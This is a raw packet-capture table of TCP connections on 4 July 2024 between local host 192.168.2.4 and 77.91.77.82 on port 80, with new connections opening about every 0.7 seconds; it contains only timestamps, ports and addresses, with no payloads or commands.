Jul 4, 2024 00:01:15.862308025 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.862364054 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.862602949 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.862685919 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.862911940 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.870976925 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:16.557096004 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:16.557151079 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.561719894 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.562176943 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.569293976 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:16.569355965 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.569776058 CEST	80	49868	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:16.569818020 CEST	49868	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.570338964 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:16.576952934 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:17.286436081 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:17.286696911 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.400115967 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.400456905 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.405275106 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:17.405467987 CEST	80	49869	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:17.405544043 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.405544043 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.405652046 CEST	49869	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:17.410305023 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.113115072 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.113173008 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.117527008 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.117994070 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.124422073 CEST	80	49870	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.124470949 CEST	49870	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.124686003 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.124749899 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.125020981 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.131674051 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.839488983 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.842631102 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.948198080 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.950088024 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.955095053 CEST	80	49871	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.956742048 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:18.958751917 CEST	49871	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.958756924 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.962106943 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:18.968885899 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:19.658890963 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:19.663882017 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.666812897 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.670243979 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.672502995 CEST	80	49872	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:19.675137997 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:19.675209999 CEST	49872	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.675271034 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.679219961 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:19.683995008 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:20.367599964 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:20.367660999 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.479684114 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.480201960 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.486382961 CEST	80	49873	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:20.486433983 CEST	49873	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.486701965 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:20.486766100 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.486913919 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:20.493169069 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.199839115 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.202378988 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.206083059 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.206088066 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.212738037 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.212982893 CEST	80	49874	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.212984085 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.213021040 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.213148117 CEST	49874	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:21.219645977 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.949285030 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:21.949404001 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.058945894 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.059257984 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.065943003 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.066014051 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.066313028 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.066392899 CEST	80	49875	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.066440105 CEST	49875	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.073162079 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.787233114 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.792804956 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.792805910 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.794047117 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.798082113 CEST	80	49876	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.799226046 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:22.799252033 CEST	49876	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.802512884 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.802512884 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:22.807379961 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:23.532006979 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:23.532263994 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.650192022 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.650554895 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.655493021 CEST	80	49877	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:23.655632973 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:23.655658007 CEST	49877	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.658333063 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.658333063 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:23.663989067 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:24.362178087 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:24.362236977 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.366420984 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.366903067 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.373274088 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:24.373286963 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:24.373320103 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.373363972 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.373662949 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:24.378808022 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.107893944 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.110172987 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.230454922 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.230454922 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.236592054 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.237014055 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.238219976 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.238220930 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.242165089 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.248794079 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.930237055 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.930295944 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.933943033 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.934325933 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.940558910 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.940601110 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.940855026 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:25.940907001 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.941163063 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:25.947542906 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:26.654217005 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:26.654278994 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.760047913 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.760047913 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.766887903 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:26.767158031 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:26.768178940 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.768178940 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.770642996 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:26.777261019 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:27.468569994 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:27.474651098 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.474651098 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.476052999 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.481350899 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:27.482611895 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:27.484189034 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.484191895 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.488068104 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:27.494353056 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:28.206518888 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:28.206574917 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.323467970 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.323915005 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.328860998 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:28.328903913 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.329000950 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:28.329061031 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.329353094 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:28.334237099 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.028265953 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.034744024 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.034744024 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.036047935 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.039911032 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.042026043 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.042066097 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.044342995 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.044342995 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.049273014 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.747447968 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.748140097 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.855041981 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.855396032 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.860169888 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.860223055 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.860227108 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:29.860302925 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.860753059 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:29.865592957 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:30.579767942 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:30.579824924 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.583714962 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.584115982 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.588932991 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:30.588992119 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.588995934 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:30.589034081 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.589467049 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:30.594291925 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:31.304234028 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:31.308068991 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:31.415747881 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:31.416141987 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:31.422758102 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:31.422966003 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:31.423207045 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:31.428044081 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:31.428915977 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:31.432158947 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.158195019 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:32.158256054 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.162318945 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.162736893 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.167680979 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:32.167742014 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.167941093 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:32.167988062 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.168117046 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.173151016 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:32.887047052 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:32.892060995 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.996048927 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:32.996048927 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.003439903 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.004158974 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.004276037 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.005110979 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.005281925 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.012963057 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.731885910 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.732232094 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.734970093 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.734976053 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.741955996 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.742261887 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:33.744157076 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.744165897 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.748056889 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:33.755084038 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:34.474014997 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:34.474081993 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.588937044 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.589193106 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.594052076 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:34.594115973 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.594482899 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.594546080 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:34.594593048 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:34.599244118 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:35.293987989 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:35.294122934 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.300055981 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.300086021 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.306768894 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:35.306902885 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.308058977 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.308656931 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:35.308770895 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:35.314145088 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.022358894 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.022423983 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.140765905 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.141064882 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.147315025 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.147376060 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.147542953 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.147635937 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.152440071 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.159398079 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.862273932 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.863603115 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.865613937 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.865616083 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.872777939 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.873228073 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:36.877346992 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.877351046 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.880062103 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:36.887166977 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:37.590770960 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:37.594293118 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.713123083 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.714061022 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.718247890 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:37.718399048 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.718796015 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:37.718916893 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.719286919 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:37.724045992 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:38.413017988 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:38.413075924 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.417412043 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.417788029 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.432707071 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:38.432770014 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.432996988 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:38.433043003 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.433213949 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:38.439688921 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:39.150510073 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:39.150855064 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.261945009 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.261945963 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.269134045 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:39.269685984 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:39.269797087 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.269797087 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.270116091 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:39.283828974 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.003863096 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.003917933 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.008650064 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.009030104 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.016477108 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.016494989 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.016527891 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.016588926 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.017467022 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.025182009 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.733822107 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.733908892 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.838898897 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.838897943 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.847484112 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.847511053 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:40.850723028 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.850729942 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.854852915 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:40.863892078 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:41.538639069 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:41.541323900 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:41.553617001 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:41.553777933 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:41.554352999 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:41.562001944 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:42.304874897 CEST	80	49901	77.91.77.82	192.168.2.4
